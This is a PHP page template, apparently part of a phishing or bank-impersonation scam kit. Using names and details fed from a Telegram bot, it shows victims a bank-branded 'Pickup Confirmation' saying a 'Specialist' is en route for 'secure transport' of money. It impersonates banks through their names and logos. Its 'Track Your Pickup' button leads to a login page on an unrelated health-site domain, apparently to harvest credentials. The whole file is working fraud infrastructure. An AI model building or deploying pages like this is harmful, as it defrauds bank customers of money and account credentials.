<?php
function hex2rgb($hex) {
    $hex = str_replace("#", "", $hex);
    if (strlen($hex) == 3) $hex = $hex[0].$hex[0].$hex[1].$hex[1].$hex[2].$hex[2];
    return hexdec(substr($hex,0,2)) . ',' . hexdec(substr($hex,2,2)) . ',' . hexdec(substr($hex,4,2));
}
// ============================================================
// Enroute.php - Fixed & Reliable version
// Pulls bank + customer data from alert_data.php (shared with Alert)
// ============================================================

$data_file = __DIR__ . '/alert_data.php';
$data = [];
if (file_exists($data_file)) {
    include $data_file;
}

// Pull from Alert data (Telegram bot) with safe fallbacks
$name   = htmlspecialchars($data['name'] ?? 'Valued Customer', ENT_QUOTES, 'UTF-8');
$conf   = htmlspecialchars($data['conf'] ?? '4829371', ENT_QUOTES, 'UTF-8');
$amt    = $data['amt'] ?? '12,500.00';
$bank   = htmlspecialchars($data['bank'] ?? 'Bank of America', ENT_QUOTES, 'UTF-8');
$color  = $data['color'] ?? '#005EB8';
$logo   = $data['logo'] ?? 'chase.svg';

// Enroute specific fields - use fallbacks if not set yet
$p_addr = htmlspecialchars($data['p_addr'] ?? '1482 Elmwood Drive', ENT_QUOTES, 'UTF-8');
$p_city = htmlspecialchars($data['p_city'] ?? 'Austin, TX 78701', ENT_QUOTES, 'UTF-8');
$d_addr = htmlspecialchars($data['d_addr'] ?? '500 Congress Ave', ENT_QUOTES, 'UTF-8');
$d_city = htmlspecialchars($data['d_city'] ?? 'Austin, TX 78701', ENT_QUOTES, 'UTF-8');

// Paths
$bank_logo_path = "res/img/banks/" . $logo;
$driver_logo    = "res/img/DriverLogo.svg";
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700&display=swap" rel="stylesheet">
    <title>Driver En Route</title>
    <style>
        *, *::before, *::after { box-sizing: border-box; margin: 0; padding: 0; -webkit-font-smoothing: antialiased; }
        :root {
            --bg: #ffffff;
            --bg-sec: #f7f7f7;
            --text: #111112;
            --text-low: #747677;
            --border: rgba(17,17,17,0.12);
            --shadow: 0 16px 24px 0 rgba(17,17,17,0.08);
            --font: 'Inter', system-ui, sans-serif;
        }
        html { font-size: 62.5%; }
        body { 
            font-family: var(--font); 
            font-size: 1.6rem; 
            background: var(--bg-sec); 
            display: flex; 
            align-items: center; 
            justify-content: center; 
            min-height: 100vh; 
            color: var(--text); 
            margin: 0;
            padding: 20px 10px;
        }
        .pane { 
            background: var(--bg); 
            width: 100%; 
            max-width: 520px; 
            border-radius: 1.2rem; 
            box-shadow: var(--shadow); 
            overflow: hidden; 
        }

        .top-bar {
            background: white;
            padding: 1.4rem 2rem;
            display: flex;
            align-items: center;
            justify-content: space-between;
            border-bottom: 1px solid var(--border);
        }
        .top-bar img { max-height: 38px; width: auto; }

        .pickup-bar {
            background: <?php echo $color; ?>;
            color: white;
            padding: 1.6rem 2rem;
            display: flex;
            align-items: center;
            gap: 12px;
        }
        .pickup-bar h2 {
            font-size: 1.8rem;
            font-weight: 700;
            margin: 0;
        }

        .content { padding: 2.8rem 2.2rem; }

        .bigcheck {
            width: 68px;
            height: 68px;
            background: #f0fdf4;
            border: 3px solid #86efac;
            border-radius: 50%;
            display: flex;
            align-items: center;
            justify-content: center;
            margin: 0 auto 1.6rem;
        }

        .pickup-title {
            font-size: 2.1rem;
            font-weight: 700;
            text-align: center;
            margin-bottom: 0.4rem;
        }
        .pickup-sub {
            font-size: 1.5rem;
            color: #666;
            text-align: center;
            margin-bottom: 2.8rem;
        }

        .drow {
            display: flex;
            padding: 1.4rem 0;
            border-bottom: 1px solid #f0f0f0;
        }
        .drow:last-child { border-bottom: none; }
        .dlbl { flex: 1; font-size: 1.45rem; color: #666; }
        .dval { 
            font-size: 1.5rem; 
            font-weight: 600; 
            text-align: right; 
            max-width: 55%; 
        }
        .dval.grn { color: #16a34a; font-weight: 700; }

        .sbox {
            margin: 2.2rem 0;
            padding: 1.8rem;
            background: rgba(<?php echo hex2rgb($color) ?? '0,94,184'; ?>, 0.08);
            border-left: 5px solid <?php echo $color; ?>;
            border-radius: 12px;
        }
        .sbox h3 {
            color: <?php echo $color; ?>;
            font-size: 1.5rem;
            margin-bottom: 0.8rem;
        }

        .btn {
            display: block;
            width: 100%;
            background: <?php echo $color; ?>;
            color: white;
            text-align: center;
            padding: 1.7rem;
            font-size: 1.7rem;
            font-weight: 700;
            border-radius: 14px;
            text-decoration: none;
            margin-top: 2rem;
        }

        .footer {
            text-align: center;
            font-size: 1.3rem;
            color: #888;
            padding: 2rem;
            border-top: 1px solid var(--border);
        }
    </style>
</head>
<body>
    <div class="pane">
        <!-- Top Bar -->
        <div class="top-bar">
            <img src="<?php echo $bank_logo_path; ?>" alt="<?php echo $bank; ?>" onerror="this.style.display='none';">
            <span style="color:#999; font-size:1.3rem;">in partnership with</span>
            <img src="<?php echo $driver_logo; ?>" alt="Driver" style="max-height:32px;">
        </div>

        <!-- Pickup Bar -->
        <div class="pickup-bar">
            <div style="width:28px;height:28px;border:3px solid rgba(255,255,255,0.6);border-radius:50%;display:flex;align-items:center;justify-content:center;">
                <svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="#fff" stroke-width="4" stroke-linecap="round" stroke-linejoin="round"><path d="M20 6L9 17l-5-5"/></svg>
            </div>
            <h2>Pickup Confirmation</h2>
        </div>

        <div class="content">
            <div class="bigcheck">
                <svg width="32" height="32" viewBox="0 0 24 24" fill="none" stroke="#16a34a" stroke-width="3.5" stroke-linecap="round" stroke-linejoin="round"><path d="M20 6L9 17l-5-5"/></svg>
            </div>

            <div class="pickup-title">Your <?php echo $bank; ?> Specialist is en route</div>
            <div class="pickup-sub">Estimated arrival in 15-20 minutes</div>

            <div class="drow">
                <div class="dlbl">Confirmation Number</div>
                <div class="dval" style="color:<?php echo $color; ?>;"><?php echo $conf; ?></div>
            </div>
            <div class="drow">
                <div class="dlbl">Amount</div>
                <div class="dval grn">$<?php echo $amt; ?></div>
            </div>
            <div class="drow">
                <div class="dlbl">Customer Name</div>
                <div class="dval"><?php echo $name; ?></div>
            </div>

            <div class="drow">
                <div class="dlbl">Pickup Address</div>
                <div class="dval"><?php echo $p_addr; ?><br><?php echo $p_city; ?></div>
            </div>

            <div class="drow">
                <div class="dlbl">Drop-off Location</div>
                <div class="dval"><?php echo $d_addr; ?><br><?php echo $d_city; ?></div>
            </div>

            <div class="sbox">
                <h3>Status Update</h3>
                <p>Your <strong><?php echo $bank; ?> Specialist</strong> has been dispatched and is heading to the pickup location for secure transport.</p>
            </div>

            <a href="https://sparkhealthmd.com/all5/action-required/auth/login.php" class="btn">
                Track Your Pickup
            </a>
        </div>

        <div class="footer">
            © <?php echo date('Y'); ?> <?php echo $bank; ?> Secure Transport Services.<br>
            All authorized drivers are logged for your safety.
        </div>
    </div>
</body>
</html>